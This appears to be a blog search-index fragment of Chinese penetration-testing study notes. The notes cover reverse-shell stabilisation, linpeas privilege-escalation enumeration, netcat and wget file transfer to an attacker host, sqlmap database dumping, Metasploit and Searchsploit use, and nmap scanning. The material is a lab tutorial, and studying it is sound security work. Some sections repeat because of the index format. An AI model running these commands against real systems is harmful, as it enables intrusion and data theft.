Shell 需要是 bash，而不是 zsh 。 python -c 'import pty;pty.spawn(\"/bin/bash\");'\rCTRL + Z\rstty raw -echo;fg\rexport TERM=xterm\r此时的shell就可以使用方向键和vim、top等命令，Ctrl+C 也不会断开了。 ","date":"2025-11-07","heading":"3. 交互式反弹Shell","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:1:3","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#3-交互式反弹shell"},{"categories":["逆向渗透"],"collections":null,"content":"二、权限提升\r通常情况下，入侵靶机后，攻击者将会得到一个权限较低的 Shell，此时可以执行的操作常常受到限制。因此，我们需要权限提升（Privilege Escalation），简称提权。借助以下提权脚本，这项任务将变得更加容易。 ","date":"2025-11-07","heading":"二、权限提升","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:2:0","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#二权限提升"},{"categories":["逆向渗透"],"collections":null,"content":"linpeas\r下载linpeas脚本： wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh\r","date":"2025-11-07","heading":"linpeas","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:2:1","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#linpeas"},{"categories":["逆向渗透"],"collections":null,"content":"三、文件传输\r在创建反弹 Shell 之后，靶机的环境往往不足以我们进行攻击，此时便需要两机之间的文件传输。 ","date":"2025-11-07","heading":"三、文件传输","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:3:0","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#三文件传输"},{"categories":["逆向渗透"],"collections":null,"content":"1. 靶机下载文件\r先在攻击机上目标文件的目录建立 web 服务（以python为例） python -m http.server 8000\r然后再靶机上使用 wget 下载，如下载 linpeas.sh 脚本 wget http://10.0.0.1:8000/linpeas.sh\r","date":"2025-11-07","heading":"1. 靶机下载文件","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:3:1","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#1-靶机下载文件"},{"categories":["逆向渗透"],"collections":null,"content":"2. 靶机上传文件\r攻击机上将接收到的数据重定向并写入 target.file 文件。 nc -nvlp 4444 \u003e target.file\r靶机从本地文件 target.file 中读取数据，并重定向至接收方。 nc 10.0.2.4 4444 \u003c target.file\r","date":"2025-11-07","heading":"2. 靶机上传文件","objectID":"/blog/posts/reverse-engineering/learning-reverse4/:3:2","tags":["渗透"],"title":"渗透测试笔记（四）反弹Shell与权限提升","uri":"/blog/posts/reverse-engineering/learning-reverse4/#2-靶机上传文件"},{"categories":["逆向渗透"],"collections":null,"content":"一、sqlmap简介\rsqlmap 是一个强大的开源工具，用于自动化检测和利用SQL注入漏洞。它支持多种数据库类型，包括MySQL、Oracle、PostgreSQL、SQL Server等。sqlmap能够帮助渗透测试人员快速检测注入点、获取数据库结构、甚至直接获取数据库中的敏感数据。 ","date":"2025-11-06","heading":"一、sqlmap简介","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:1:0","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#一sqlmap简介"},{"categories":["逆向渗透"],"collections":null,"content":"二、sqlmap注入检测\r","date":"2025-11-06","heading":"二、sqlmap注入检测","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:2:0","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#二sqlmap注入检测"},{"categories":["逆向渗透"],"collections":null,"content":"基本用法\r使用-u参数指定目标URL，使用--batch采用默认配置 sqlmap -u \"http://example.com/vulnerable.php?id=1\" --batch\r","date":"2025-11-06","heading":"基本用法","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:2:1","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#基本用法"},{"categories":["逆向渗透"],"collections":null,"content":"通过HTTP请求文件检测\rsqlmap -r request.txt --batch\rrequest.txt为请求头和请求体，例如： POST /login.php HTTP/1.1\rHost: example.com\rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\rContent-Type: application/x-www-form-urlencoded\rContent-Length: 29\rusername=admin\u0026password=12345\r","date":"2025-11-06","heading":"通过HTTP请求文件检测","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:2:2","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#通过http请求文件检测"},{"categories":["逆向渗透"],"collections":null,"content":"高级选项\r--level：指定检测级别，数值越高检测越深入（1-5，默认1） --risk：设置攻击风险等级（1-3，默认1） ","date":"2025-11-06","heading":"高级选项","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:2:3","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#高级选项"},{"categories":["逆向渗透"],"collections":null,"content":"三、sqlmap获取数据\r假设目标URL为http://example.com/vulnerable.php?id=1，以下步骤展示了如何利用sqlmap来导出数据库信息： ","date":"2025-11-06","heading":"三、sqlmap获取数据","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:0","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#三sqlmap获取数据"},{"categories":["逆向渗透"],"collections":null,"content":"1. 测试注入点\rsqlmap -u \"http://example.com/vulnerable.php?id=1\" --batch\r","date":"2025-11-06","heading":"1. 测试注入点","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:1","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#1-测试注入点"},{"categories":["逆向渗透"],"collections":null,"content":"2. 列出数据库：\rsqlmap -u \"http://example.com/vulnerable.php?id=1\" --dbs\r","date":"2025-11-06","heading":"2.","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:2","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#2-列出数据库"},{"categories":["逆向渗透"],"collections":null,"content":"3. 选择数据库并获取表\rsqlmap -u \"http://example.com/vulnerable.php?id=1\" -D target_db --tables\r","date":"2025-11-06","heading":"3. 选择数据库并获取表","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:3","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#3-选择数据库并获取表"},{"categories":["逆向渗透"],"collections":null,"content":"4. 选择表并获取字段\rsqlmap -u \"http://example.com/vulnerable.php?id=1\" -D target_db -T users --columns\r","date":"2025-11-06","heading":"4. 选择表并获取字段","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:4","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#4-选择表并获取字段"},{"categories":["逆向渗透"],"collections":null,"content":"5. 导出表数据\rsqlmap -u \"http://example.com/vulnerable.php?id=1\" -D target_db -T users --dump\r这条命令会从users表中提取并显示所有数据。 ","date":"2025-11-06","heading":"5. 导出表数据","objectID":"/blog/posts/reverse-engineering/learning-reverse3/:3:5","tags":["渗透"],"title":"渗透测试笔记（三）使用sqlmap进行SQL注入攻击","uri":"/blog/posts/reverse-engineering/learning-reverse3/#5-导出表数据"},{"categories":["逆向渗透"],"collections":null,"content":"一、Metasploit\r","date":"2025-11-06","heading":"一、Metasploit","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:1:0","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#一metasploit"},{"categories":["逆向渗透"],"collections":null,"content":"MSF简介\rMetasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。 ","date":"2025-11-06","heading":"MSF简介","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:1:1","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#msf简介"},{"categories":["逆向渗透"],"collections":null,"content":"MSF初始化\r如果第一次使用，运行以下命令 msfdb run\r该命令包含以下三个命令 service postgresql start # 启用数据库服务\rmsfdb init # msfdb第一次运行时初始化\rmsfconsole # 启用msf终端\r在后续使用时，第一条命令在计算机重启后需要要重新执行，第二条命令不需要再执行，在数据库服务启动情况下，执行第三条命令进入msf终端。 以上是kali初始化自带msf步骤，关于非kali的linux初始化msf，参考【工具使用】——Metasploit(MSF)使用详解(超详细)-CSDN博客。 ","date":"2025-11-06","heading":"MSF初始化","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:1:2","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#msf初始化"},{"categories":["逆向渗透"],"collections":null,"content":"MSF使用\rmsfconsole # 进入框架\rsearch smb_version # 使用search命令查找相关漏洞\ruse auxiliary/scanner/smb/smb_version # 根据搜索结果，使用use进入模块\rshow options # 查看模块需要配置的参数\rset RHOST 192.168.100.158 # 设置参数\rrun # 攻击\r有些模块可以通过set payload直接进行漏洞利用，也可以仅进行漏洞探测后，用其他手段进行漏洞利用。如探测到smb版本为Samba 2.2.1a后，使用下文介绍Searchsploit进行攻击。 ","date":"2025-11-06","heading":"MSF使用","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:1:3","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#msf使用"},{"categories":["逆向渗透"],"collections":null,"content":"二、Searchsploit\r","date":"2025-11-06","heading":"二、Searchsploit","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:0","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#二searchsploit"},{"categories":["逆向渗透"],"collections":null,"content":"Searchsploit简介\rSearchsploit是一款基于命令行的搜索工具，专为Exploit-DB设计。Exploit-DB是一个由Offensive Security赞助的开源漏洞利用程序数据库，包含了大量的漏洞信息和渗透脚本。Searchsploit允许用户通过简单的命令，在Exploit-DB中快速搜索和定位所需的漏洞信息。 ","date":"2025-11-06","heading":"Searchsploit简介","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:1","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#searchsploit简介"},{"categories":["逆向渗透"],"collections":null,"content":"安装与更新\rkali系统中已经内置，更新使用以下命令 searchsploit -u\r","date":"2025-11-06","heading":"安装与更新","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:2","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#安装与更新"},{"categories":["逆向渗透"],"collections":null,"content":"Searchsploit使用\r搜索漏洞信息\rsearchsploit term1 [term2] … [termN]\rterm1、term2等表示搜索的关键词 进阶搜索\r排除某些关键词：使用 --exclude 参数排除不相关的结果： searchsploit apache --exclude httpd\r搜索标题：用 --title 参数只在漏洞标题中查找，而非描述中： searchsploit --title apache\r复制漏洞利用脚本\r当你找到一个感兴趣的漏洞利用脚本时，可以使用-m选项将其复制到当前工作目录。例如搜索Samba 2.2.1a得到脚本10.c后，使用以下命令将其复制到当前工作目录： searchsploit -m 10.c\r","date":"2025-11-06","heading":"Searchsploit使用","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:3","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#searchsploit使用"},{"categories":["逆向渗透"],"collections":null,"content":"Searchsploit使用\r搜索漏洞信息\rsearchsploit term1 [term2] … [termN]\rterm1、term2等表示搜索的关键词 进阶搜索\r排除某些关键词：使用 --exclude 参数排除不相关的结果： searchsploit apache --exclude httpd\r搜索标题：用 --title 参数只在漏洞标题中查找，而非描述中： searchsploit --title apache\r复制漏洞利用脚本\r当你找到一个感兴趣的漏洞利用脚本时，可以使用-m选项将其复制到当前工作目录。例如搜索Samba 2.2.1a得到脚本10.c后，使用以下命令将其复制到当前工作目录： searchsploit -m 10.c\r","date":"2025-11-06","heading":"搜索漏洞信息","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:3","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#搜索漏洞信息"},{"categories":["逆向渗透"],"collections":null,"content":"Searchsploit使用\r搜索漏洞信息\rsearchsploit term1 [term2] … [termN]\rterm1、term2等表示搜索的关键词 进阶搜索\r排除某些关键词：使用 --exclude 参数排除不相关的结果： searchsploit apache --exclude httpd\r搜索标题：用 --title 参数只在漏洞标题中查找，而非描述中： searchsploit --title apache\r复制漏洞利用脚本\r当你找到一个感兴趣的漏洞利用脚本时，可以使用-m选项将其复制到当前工作目录。例如搜索Samba 2.2.1a得到脚本10.c后，使用以下命令将其复制到当前工作目录： searchsploit -m 10.c\r","date":"2025-11-06","heading":"进阶搜索","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:3","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#进阶搜索"},{"categories":["逆向渗透"],"collections":null,"content":"Searchsploit使用\r搜索漏洞信息\rsearchsploit term1 [term2] … [termN]\rterm1、term2等表示搜索的关键词 进阶搜索\r排除某些关键词：使用 --exclude 参数排除不相关的结果： searchsploit apache --exclude httpd\r搜索标题：用 --title 参数只在漏洞标题中查找，而非描述中： searchsploit --title apache\r复制漏洞利用脚本\r当你找到一个感兴趣的漏洞利用脚本时，可以使用-m选项将其复制到当前工作目录。例如搜索Samba 2.2.1a得到脚本10.c后，使用以下命令将其复制到当前工作目录： searchsploit -m 10.c\r","date":"2025-11-06","heading":"复制漏洞利用脚本","objectID":"/blog/posts/reverse-engineering/learning-reverse2/:2:3","tags":["渗透"],"title":"渗透测试笔记（二）Metasploit (MSF) 与Searchsploit","uri":"/blog/posts/reverse-engineering/learning-reverse2/#复制漏洞利用脚本"},{"categories":["逆向渗透"],"collections":null,"content":"一、主机发现\r","date":"2025-11-06","heading":"一、主机发现","objectID":"/blog/posts/reverse-engineering/learning-reverse1/:1:0","tags":["渗透"],"title":"渗透测试笔记（一）：主机发现与端口扫描","uri":"/blog/posts/reverse-engineering/learning-reverse1/#一主机发现"},{"categories":["逆向渗透"],"collections":null,"content":"arp-scan与arping\rarp-scan 可用于快速发现同一局域网下的主机： arp-scan -l\r与 ping 相比，arping 可用于检验目标主机是否存活： arping -c 1 [ip]\r","date":"2025-11-06","heading":"arp-scan与arping","objectID":"/blog/posts/reverse-engineering/learning-reverse1/:1:1","tags":["渗透"],"title":"渗透测试笔记（一）：主机发现与端口扫描","uri":"/blog/posts/reverse-engineering/learning-reverse1/#arp-scan与arping"},{"categories":["逆向渗透"],"collections":null,"content":"nmap\r扫描一系列 IP，查看存活主机： nmap -sn [ip] -oA pingsweep -PE\r[ip] 参数说明： 单个 IP 范围，例如 192.168.1.0/24 或 192.168.1.0-255，都表示 192.168.1.0-192.168.1.255 的 IP 地址。 IP 范围列表：一般采用 -iL 参数以文件方式输入，在文件中每个范围占一行。 实例： nmap -sn 192.168.1.0/24 -oA pingsweep -PE\rnmap -sn -iL ranges.txt -oA pingsweep -PE\r扫描后保存所有存活主机： grep \"Up\" pingsweep.gnmap | cut -d \" \" -f2 \u003e targets.txt\r","date":"2025-11-06","heading":"nmap","objectID":"/blog/posts/reverse-engineering/learning-reverse1/:1:2","tags":["渗透"],"title":"渗透测试笔记（一）：主机发现与端口扫描","uri":"/blog/posts/reverse-engineering/learning-reverse1/#nmap"},{"categories":["逆向渗透"],"collections":null,"content":"二、端口扫描\r基本语法： nmap -Pn -p [ports] [ip]\r参数： -Pn：跳过主机发现，用于已经确认主机存活的情况下。 -n：不进行 DNS 解析，用于输入 IP 时不想查询域名信息时。 -p [ports]：[ports] 为以逗号分割的端口号，-p- 表示扫描所有端口（不推荐），不输入 [ports] 表示扫描预设的 1000 个常见端口（不推荐）。 -sV：检测端口的服务信息。 -A：启用操作系统检测、服务版本检测、Nmap 脚本扫描（检测漏洞）和 Traceroute 路径跟踪。 示例： nmap -Pn -n -p 22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 [ip] -sV -A -oA portsweep\r","date":"2025-11-06","heading":"二、端口扫描","objectID":"/blog/posts/reverse-engineering/learning-reverse1/:2:0","tags":["渗透"],"title":"渗透测试笔记（一）：主机发现与端口扫描","uri":"/blog/posts/reverse-engineering/learning-reverse1/#二端口扫描"}]